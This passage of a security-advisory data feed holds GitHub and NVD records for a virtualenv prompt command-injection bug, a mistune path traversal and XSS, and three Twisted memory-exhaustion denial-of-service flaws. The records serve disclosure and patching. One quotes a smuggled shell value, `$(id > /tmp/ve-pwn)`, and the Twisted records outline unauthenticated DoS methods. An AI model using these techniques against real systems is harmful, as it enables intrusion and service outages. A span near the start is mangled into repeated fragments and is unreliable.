_VIRTUAL_PROMPT=\"${_VIRTUAL_PROMPT//\\%/%%}\"\n fi\n PS1=\"(${_VIRTUAL_PROMPT}) ${PS1-}\"\n unset _VIRTUAL_PROMPT\n fi\nfi\n```\n\nTwo separate mistakes combine:\n\n1. A runtime shell option is treated as a constant. `shopt -u promptvars` at the moment of `source` does not bind the shell forever: `shopt -s promptvars` and `set -o posix` both re-enable PS1 expansion in the same shell. The code itself tests `shopt -qo posix` because posix mode expands the prompt regardless of `promptvars`, which shows the expansion state is not fixed by the activation.\n2. The escaping that would keep the value inert in that mode is missing for bash. GHSA-5vjq-rrrf-7h2q (\"activate runs commands from the environment name in zsh with PROMPT_SUBST\") fixed exactly this shape for zsh, reasoning that \"a user can set it after activation\", by escaping `$` and the backtick. Bash lost the equivalent escaping in the same commit that added the zsh branch.\n\nThe rendered prompt shows the regression directly:\n\n```\n21.14.8 PS1 = (x\\\\$(id > /tmp/ve-pwn)y) /tmp/ve-pwn)y) /tmp/ve-pwn)y) /tmp/ve-pwn)y' /tmp/venv-demo\n\ncat > /tmp/rc `\\$`, backtick -> ``\\` ``, `\\` -> `\\\\`). Verified on bash 5.1.16 that a `PS1` built that way is inert with `promptvars` on, with `promptvars` off, and with `promptvars` off followed by posix mode, while still rendering the literal value on screen. That is better than both current shapes: 21.14.8's four-level escaping left stray backslashes on screen, which is why the block was rewritten.\n\n```sh\n else\n _VIRTUAL_PROMPT=\"${VIRTUAL_ENV_PROMPT//\\\\/\\\\\\\\}\"\n _VIRTUAL_PROMPT=\"${_VIRTUAL_PROMPT//\\$/\\\\\\$}\"\n _VIRTUAL_PROMPT=\"${_VIRTUAL_PROMPT//\\`/\\\\\\`}\"\n if [ -n \"${ZSH_VERSION-}\" ]; then\n _VIRTUAL_PROMPT=\"${_VIRTUAL_PROMPT//\\%/%%}\"\n fi\n PS1=\"(${_VIRTUAL_PROMPT}) ${PS1-}\"\n```\n\nFor the tests, `tests/unit/activation/test_bash.py::test_bash_prompt_options` already parametrises `(\"before\", \"after\", \"expected\")` and covers `before=\"shopt -u promptvars\"` with `after=\"\"`. The missing axis is the transition: `(\"shopt -u promptvars\", \"shopt -s promptvars\", ...)` and `(\"shopt -u promptvars\", \"set -o posix\", ...)`, with the existing `PWNED` check asserting no file was created.\n\n## Latest release\n\n- [x] The problem reproduces on the latest virtualenv release.\n\nAffected package ranges reported by GitHub:\nvirtualenv: >= 21.14.9, < 21.14.13","action":"GitHub lists first patched versions: virtualenv: 21.14.13. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T20:47:16.000Z","updatedAt":"2026-10-26T13:45:21.740Z","regions":["Global"],"vendor":null,"product":"virtualenv","stacks":["Python packages (PyPI)","virtualenv","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115586","asOf":"2026-10-26T13:45:21.740Z"},"epss":{"probability":0.00198,"percentile":0.09527,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115586&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-cx6f-vjhg-g3cc","url":"https://github.com/advisories/GHSA-cx6f-vjhg-g3cc","type":"primary","publishedAt":"2026-10-23T20:47:16.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-cx6f-vjhg-g3cc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-cx6f-vjhg-g3cc, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-115586","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115586","type":"primary","publishedAt":"2026-10-23T20:17:21.363Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115586&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115586, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115355","cveId":"CVE-2026-115355","aliases":["GHSA-h7ww-273w-6cm8"],"kind":"vulnerability","title":"Mistune: Path Traversal and XSS in Include directive","summary":"The Include directive in `src/mistune/directives/include.py` does not validate that the resolved file path stays within the source directory, allowing path traversal via `../` sequences to read arbitrary files.\n\nAdditionally, error messages and included file contents are rendered without HTML escaping, leading to XSS even when `escape=True`.","detail":"The Include directive in `src/mistune/directives/include.py` does not validate that the resolved file path stays within the source directory, allowing path traversal via `../` sequences to read arbitrary files.\n\nAdditionally, error messages and included file contents are rendered without HTML escaping, leading to XSS even when `escape=True`.\n\nAffected functions:\n- Path resolution (lines 27-31)\n- `block_error()` in html.py (line 140)\n- `render_html_include()` (line 72)\n\nThe Include plugin must be explicitly enabled via the plugins parameter.\n\nAffected package ranges reported by GitHub:\nmistune: <= 3.2.0","action":"GitHub lists first patched versions: mistune: 3.3.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T20:46:47.000Z","updatedAt":"2026-10-23T20:46:48.000Z","regions":["Global"],"vendor":null,"product":"mistune","stacks":["Python packages (PyPI)","mistune","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115355","asOf":"2026-10-22T19:17:41.633Z"},"epss":{"probability":0.00461,"percentile":0.39663,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115355&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-h7ww-273w-6cm8","url":"https://github.com/advisories/GHSA-h7ww-273w-6cm8","type":"primary","publishedAt":"2026-10-23T20:46:47.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-h7ww-273w-6cm8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-h7ww-273w-6cm8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-h7ww-273w-6cm8, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-115355","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115355","type":"primary","publishedAt":"2026-10-22T19:17:41.520Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115355&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115355, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115776","cveId":"CVE-2026-115776","aliases":["GHSA-53xc-49m8-p798"],"kind":"vulnerability","title":"Twisted: Unauthenticated Remote Denial of Service in the Twisted IRC Server via an Unbounded Line Buffer","summary":"An unbounded-buffer vulnerability (CWE-770) in the Twisted words IRC server lets any unauthenticated remote client exhaust server memory. `twisted.words.protocols.irc.IRC.dataReceived` appends every received byte to a per-connection buffer and only removes data at a line feed, with no maximum length. Because `IRC` is a plain `Protocol` and not a `LineReceiver`, one connection that streams bytes without a line feed grows the buffer without bound and drives the whole single-threaded process to out-of-memory, dropping every user at once. The `twistd words` server inherits the method unchanged through `IRCUser`, and the data is buffered before any authentication.\n\n`IRC.dataReceived` keeps everything up to the last line feed in `self.buffer`:","detail":"## Summary\n\nAn unbounded-buffer vulnerability (CWE-770) in the Twisted words IRC server lets any unauthenticated remote client exhaust server memory. `twisted.words.protocols.irc.IRC.dataReceived` appends every received byte to a per-connection buffer and only removes data at a line feed, with no maximum length. Because `IRC` is a plain `Protocol` and not a `LineReceiver`, one connection that streams bytes without a line feed grows the buffer without bound and drives the whole single-threaded process to out-of-memory, dropping every user at once. The `twistd words` server inherits the method unchanged through `IRCUser`, and the data is buffered before any authentication.\n\n## Details\n\n`IRC.dataReceived` keeps everything up to the last line feed in `self.buffer`:\n\n```python\n# twisted/words/protocols/irc.py\nclass IRC(protocol.Protocol): # not a LineReceiver, so no MAX_LENGTH\n buffer = \"\"\n def dataReceived(self, data):\n if isinstance(data, bytes):\n data = data.decode(\"utf-8\")\n lines = (self.buffer + data).split(LF)\n self.buffer = lines.pop() # no 3line feed -> whole input stays buffered\n ...\n```\n\nWith no line feed in the data, `lines.pop()` returns the entire accumulated content to `self.buffer`, so it grows by every chunk and is never bounded; `IRC` defines no `MAX_LENGTH`, no `lineLengthExceeded`, and no timeout, so the connection is never closed. The `twistd words` server protocol `IRCUser` subclasses `IRC` without overriding `dataReceived`, and the buffer is filled before any `PASS`, `NICK`, or `USER`, so no credentials are required.\n\nAffected product: Twisted (`twisted.words`), `twisted.words.protocols.irc.IRC` and its subclass `twisted.words.service.IRCUser`\nAffected versions: 26.4.0 and earlier\n\n## PoC\n\nOn a standard Twisted words IRC server (the server `twistd words` runs, using `IRCUser`), an unauthenticated client opens a single TCP connection and continuously sends data that contains no line feed, never completing a line. Every chunk is appended to the connection's line buffer, and because no complete line is ever formed none of it is consumed, so the buffer grows by the full volume sent.\n\nIn a measured run against a real `IRCFactory` server, one unauthenticated connection sending 60 MB of line-feed-free data raised the server process resident memory from about 47 MB to 2966 MB (roughly 49 MB per MB sent) with the connection still open and no limit triggered. Sending the same volume as normal line-feed-terminated commands leaves memory flat, which isolates the cause to the missing line-length bound.\n\n## Impact\n\nAn unauthenticated remote denial of service from allocation without limits (CWE-770) leading to uncontrolled resource consumption (CWE-400). A single credential-free connection exhausts the memory of the whole `twistd words` process, and because one process serves every user, the crash drops all connections at once and the service stays down until it is restarted. The quadratic buffer copy reaches the same effect faster. There is no confidentiality or integrity impact and no code execution.\n\nAffected package ranges reported by GitHub:\nTwisted: <= 26.4.0","action":"GitHub lists first patched versions: Twisted: 26.10.0rc1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T20:45:35.000Z","updatedAt":"2026-10-26T14:05:16.760Z","regions":["Global"],"vendor":null,"product":"Twisted","stacks":["Python packages (PyPI)","Twisted","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115776","asOf":"2026-10-26T14:05:16.760Z"},"epss":{"probability":0.00501,"percentile":0.42619,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115776&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-53xc-49m8-p798","url":"https://github.com/advisories/GHSA-53xc-49m8-p798","type":"primary","publishedAt":"2026-10-23T20:45:35.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-53xc-49m8-p798, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-53xc-49m8-p798, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-53xc-49m8-p798, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-115776","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115776","type":"primary","publishedAt":"2026-10-23T21:17:23.180Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115776&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115776, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115778","cveId":"CVE-2026-115778","aliases":["GHSA-cwm5-jh59-mwxr"],"kind":"vulnerability","title":"Twisted: Unauthenticated Remote Denial of Service in the Twisted conch Telnet Transport via an Unbounded Subnegotiation Buffer","summary":"An allocation-without-limits vulnerability (CWE-770) in the Twisted conch telnet transport lets any unauthenticated remote peer exhaust server memory over a single connection. When the peer opens a telnet subnegotiation with `IAC SB` and then streams bytes without ever sending the `IAC SE` terminator, every byte is appended to a per-connection buffer that has no maximum length. The buffer persists across reads and is released only on the terminator the attacker withholds, so it grows without bound until the process is killed.\n\nThe option-negotiation state machine in `Telnet.dataReceived` enters the `subnegotiation` state on `IAC SB` and sets an empty command list. In that state every non-`IAC` byte is appended to the list with no length check:","detail":"## Summary\n\nAn allocation-without-limits vulnerability (CWE-770) in the Twisted conch telnet transport lets any unauthenticated remote peer exhaust server memory over a single connection. When the peer opens a telnet subnegotiation with `IAC SB` and then streams bytes without ever sending the `IAC SE` terminator, every byte is appended to a per-connection buffer that has no maximum length. The buffer persists across reads and is released only on the terminator the attacker withholds, so it grows without bound until the process is killed.\n\n## Details\n\nThe option-negotiation state machine in `Telnet.dataReceived` enters the `subnegotiation` state on `IAC SB` and sets an empty command list. In that state every non-`IAC` byte is appended to the list with no length check:\n\n```python\n# src/twisted/conch/telnet.py (Telnet.dataReceived)\nelif self.state == \"subnegotiation\":\n if b == IAC:\n self.state = \"subnegotiation-escaped\"\n else:\n self.commands.append(b) # unbounded: no len(self.commands) check\n```\n\n`self.commands` is an instance attribute that persists across `dataReceived` calls and is deleted only when `IAC SE` completes the subnegotiation. Negotiation runs at the transport layer before authentication, and the bytes are consumed inside `dataReceived` before any application callback, so an application cannot impose a bound. Twisted caps other parser buffers, for example `NetstringReceiver.MAX_LENGTH`, but not this one.\n\nAffected product: Twisted, `twisted.conch.telnet` transport\nAffected versions: confirmed against 26.4.0\n\n## PoC\n\nOn any endpoint that exposes the Twisted telnet transport, such as the Twisted manhole telnet service, open one connection and send the two bytes `IAC SB` (`0xFF 0xFA`), then stream any non-`0xFF` bytes continuously and never send the `IAC SE` terminator (`0xFF 0xF0`). No credentials are required, because option negotiation runs before authentication.\n\nEvery byte is appended to the per-connection subnegotiation buffer with no maximum, and the buffer is released only by the terminator the attacker withholds, so it grows for the life of the connection. Because each byte is retained as a separate element the memory consumed is several times the traffic sent, so a modest-bandwidth peer, or several such connections, drives the process to memory exhaustion.\n\n## Impact\n\nThis is an unauthenticated remote denial of service (CWE-770, CWE-400) by memory exhaustion. A single connection grows an in-memory buffer without bound at a cost proportional to the bytes sent, amplified by per-byte object overhead, until the operating system kills the server and every service it hosts. There is no confidentiality or integrity impact and no code execution. The affected surface is any deployment that exposes a Twisted telnet or manhole transport to untrusted peers.\n\nAffected package ranges reported by GitHub:\nTwisted: <= 26.4.0","action":"GitHub lists first patched versions: Twisted: 26.10.0rc1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T20:45:26.000Z","updatedAt":"2026-10-26T14:05:16.760Z","regions":["Global"],"vendor":null,"product":"Twisted","stacks":["Python packages (PyPI)","Twisted","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115778","asOf":"2026-10-26T14:05:16.760Z"},"epss":{"probability":0.0054,"percentile":0.45178,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115778&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-cwm5-jh59-mwxr","url":"https://github.com/advisories/GHSA-cwm5-jh59-mwxr","type":"primary","publishedAt":"2026-10-23T20:45:26.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-cwm5-jh59-mwxr, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-cwm5-jh59-mwxr, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-cwm5-jh59-mwxr, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-cwm5-jh59-mwxr, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-115778","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115778","type":"primary","publishedAt":"2026-10-23T21:17:23.320Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115778&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115778, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115775","cveId":"CVE-2026-115775","aliases":["GHSA-3476-c5c2-fr73"],"kind":"vulnerability","title":"Twisted: Unauthenticated Remote Denial of Service in the Twisted words domish XML Element Stream via an Unbounded Element Tree","summary":"An allocation-without-limits vulnerability in the Twisted XML element stream lets any unauthenticated remote peer exhaust server memory over a single stream. When the peer opens a container element and streams child elements without ever closing the container, every element is materialised into an in-memory tree with no limit on depth or child count. An element is released only when its end tag arrives, so a container the attacker never closes retains everything beneath it until the process is killed.\n\nIn `ExpatElementStream._onStartElement`, each start tag appends a new element to the current element's children and descends into it, with no depth or child-count check:","detail":"## Summary\n\nAn allocation-without-limits vulnerability in the Twisted XML element stream lets any unauthenticated remote peer exhaust server memory over a single stream. When the peer opens a container element and streams child elements without ever closing the container, every element is materialised into an in-memory tree with no limit on depth or child count. An element is released only when its end tag arrives, so a container the attacker never closes retains everything beneath it until the process is killed.\n\n## Details\n\nIn `ExpatElementStream._onStartElement`, each start tag appends a new element to the current element's children and descends into it, with no depth or child-count check:\n\n```python\n# src/twisted/words/xish/domish.py (ExpatElementStream._onStartElement)\nif self.documentStarted == 1:\n if self.currElem != None:\n self.currElem.children.append(e) # append child: no depth/count cap\n e.parent = self.currElem\n self.currElem = e # descend into the new element\n```\n\nAn element is emitted and dropped only when its end tag arrives while it sits directly under the document root, so a container that is never closed keeps every child beneath it. The transport `XmlStream.dataReceived` feeds bytes to `self.stream.parse(data)` with no size limit, and in XMPP the stream is parsed during negotiation before authentication.\n\nAffected product: Twisted, `twisted.words.xish.domish` element stream\nAffected versions: confirmed against 26.4.0\n\n## PoC\n\nOn any endpoint that parses untrusted XML streams with this stack, such as an XMPP server, open a stream by sending the opening `stream:stream` tag and a container element, then stream child elements continuously and never send the container's closing tag. No credentials are required, because in XMPP the stream is parsed before authentication.\n\nEvery child is appended to the container and retained because the container is never emitted, and the transport applies no limit on the size of the unfinished document. Because each small element becomes a full object in memory the footprint is many times the traffic sent, so a modest-bandwidth peer, or several such streams, drives the process to memory exhaustion.\n\n## Impact\n\nThis is an unauthenticated remote denial of service by memory exhaustion. A single stream grows an in-memory element tree without bound, amplified by per-element object overhead, until the operating system kills the server. There is no confidentiality or integrity impact and no code execution. The affected surface is any deployment that parses untrusted XML streams with this stack, such as an XMPP server or component.\n\nAffected package ranges reported by GitHub:\nTwisted: <= 26.4.0","action":"GitHub lists first patched versions: Twisted: 26.10.0rc1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T20:45:04.000Z","updatedAt":"2026-10-26T14:05:16.760Z","regions":["Global"],"vendor":null,"product":"Twisted","stacks":["Python packages (PyPI)","Twisted","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115775","asOf":"2026-10-26T14:05:16.760Z"},"epss":{"probability":0.00444,"percentile":0.38312,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115775&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory 